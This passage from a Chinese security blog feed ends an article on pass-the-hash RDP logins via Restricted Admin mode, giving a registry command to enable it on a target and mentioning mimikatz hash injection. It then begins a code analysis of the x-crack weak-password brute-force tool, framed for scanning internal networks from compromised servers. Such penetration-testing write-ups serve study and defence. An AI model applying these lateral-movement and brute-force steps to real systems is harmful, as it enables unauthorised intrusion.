src="https://wechat2rss.xlab.app/img-proxy/?k=1b8148dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl91IicxF554cjWku7zKrSuhUUFTGztogyN3a2VW9sic5BuSBwrWPAiaFmzA%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">也就说明，密码是正确的，但是无法正常登陆，网上的文章说<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Windows 8.1</code>、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Windows Server 2012 R2</code>中默认开启<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Restricted Admin mode</code>，但是本地验证发现<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">2012 R2 Datacenter</code>版本并不会默认开启此模式。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">可以在目标机器上添加注册表来开启<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Restricted Admin mode</code>：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><pre style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;border-radius: 0.3em;border-color: rgb(231, 222, 195);border-style: solid;border-width: 1px;line-height: 1.5;font-size: 0.9rem;margin: 0.5em 0px;padding: 1em;color: rgb(101, 123, 131);overflow: auto;background-color: rgb(253, 246, 227);text-align: left;word-spacing: 0px;word-break: normal;overflow-wrap: normal;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="white-space: pre-wrap;font-family: Consolas, Monaco, &#34;Andale Mono&#34;, &#34;Ubuntu Mono&#34;, monospace;background-image: none;border-color: currentcolor;border-style: none;border-width: medium;font-size: 1em !important;color: rgb(101, 123, 131);text-align: left;word-spacing: normal;word-break: normal;overflow-wrap: normal;line-height: 1.5;">REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f<br/></code></pre><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">开启注册表之后，再使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">mimikatz</code>进行<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">hash</code>注入并登录可以正常登录：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.5875862068965517" data-w="725" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5b1c9569&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl93uBD6ibv5D81Xj21iamEXCibJ1ggZVC8EPKtyQ5ubeDnl3UxpsJ2gd37w%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">另外发现，如果</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">hash</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">注入的账户不是目标机器的本地管理员，在使用明文密码可以正常登录的前提下，使用</span><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0px;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">pth</code><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;">进行登录，也无法登陆：</span></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><img data-ratio="0.29239766081871343" data-w="684" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=59db575f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9iaV3kNd8zgy93COD8ibeH9gRPyx6YWCw8HambL1J5LZFt1rKRrezSL1Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><h2 style="text-rendering: optimizeLegibility;margin-bottom: 1rem;font-weight: bold;line-height: 1.8rem;padding-top: 0.8rem;padding-bottom: 0.2rem;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);font-size: 1.4rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">总结</h2><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">1、<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Windows 2012 R2 Datacenter</code>默认不会开启<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Restricted Admin mode</code><br/>2、想使用<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">Restricted Admin mode</code>进行<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">pth</code>攻击的账户需要目标机器的本地管理员权限</p>



<p><a href="2247483818">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d8f142d0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTM2ODgyMw%3D%3D%26mid%3D2247483818%26idx%3D1%26sn%3Dc90d7edf90e074ce78bd08e264825a5d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 25 Nov 2020 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>对一款Golang弱口令爆破工具代码的分析及改进</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247483809&amp;idx=1&amp;sn=df1e986198c4cb5cefdec9d6a44b9e76</link>
      <description>对一款Golang弱口令爆破工具代码的分析及改进</description>
      <content:encoded><![CDATA[<p>
原创 <span>huahua</span> <span>2020-11-24 17:14</span> <span style="display: inline-block;"></span>
</p>

<p>对一款Golang弱口令爆破工具代码的分析及改进</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e2dffaa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9ynDcphwXozvlcvXXickicveicgicInnxZZMk2MyXRpKrLAwTeTibibx2XbSQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">前言</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">平时扫描弱口令一般都用超级弱口令，前段时间做项目，发现在渗透过程中拿到一台Linux服务器或者拿了一台Windows服务器而这台Windows服务器我们又不想开3389的情况下，扫描其内网弱口令只能使用超级弱口令+sock形式。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">而这种方式由于多了一层代理，受网络波动比较大，形象点就是小针管上面接了一个高压水枪，扫描出来的准确度就不用说了，而我们渗透时候又常用Webshell而非GUI来执行命令。所以我需要一款Windows/Linux双用爆破工具，第一个想到的当然是Go。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">本着不造轮子的思想，先搜索了一下有没有人写过，发现了<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">x-crack</code>这款工具，读了一遍后发现作者代码写的真的很好，比我自己写代码时东一榔头西一棒槌好多了，想着写篇文章分析一下工具代码，这样以后在看会比较快。</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">同时也向原作者致敬和学习，感谢作者的付出。</p><p><br/></p><h3 style="text-rendering: optimizeLegibility;margin-bottom: 1em;font-weight: bold;line-height: 1.8rem;font-size: 1.2rem;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">代码分析</h3><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">先贴出工具地址：<a href="https://github.com/netxfly/x-crack" target="_blank">https://github.com/netxfly/x-crack</a></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;">下面是工程目录：</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><br/></p><p><img data-ratio="1.1164835164835165" data-w="455" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=db48e372&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl96CdxzYGQfb78lXmw6iaCTy5JSe18p9H57HbObqlfRL3H7ibGezFAVOWA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">cmd</code>目录：存放命令行于程序交互的代码，就是我们常见的-h等</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">logger</code>目录：自定义log的输出方式</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">model</code>目录：一个文件存放着利用go-cache开源项目对爆破结果进行处理的代码，另一个文件存放着软件涉及到的数据结构</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">plugin</code>目录：存放着各种爆破的代码，如ftp、ssh</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">util</code>目录：工具类，负责处理任务调度、文件处理等内容</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">var</code>目录：存放着项目用到的全局变量，如：字典文件名、爆破协程数等</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">x-crack.go</code>：main方法，主要是启动程序</p><p><br/></p><p><img data-ratio="0.31872717788210747" data-w="1917" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e7f612db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxywIgKgSyAcgpTHvTW25gl9f0TMfjTGrjTIp5Wph160RQF6picEY4mO0ywLcBLckerdMuOiajmZmdNg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;"><code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 255);font-size: 0.9rem;line-height: 1.5em;color: rgb(85, 85, 85);border-color: rgb(221, 221, 221);border-style: solid;border-width: 1px;border-radius: 0.4em;padding: 0px 0.3em;margin: -1px 4px;">cli</code>使用了<code style="font-family: Menlo, Monaco, &#34;Andale Mono&#34;, &#34;lucida console&#34;, &#34;Courier New&#34;, monospace;display: inline-block;text-indent: 0em;background-color: rgb(255, 255, 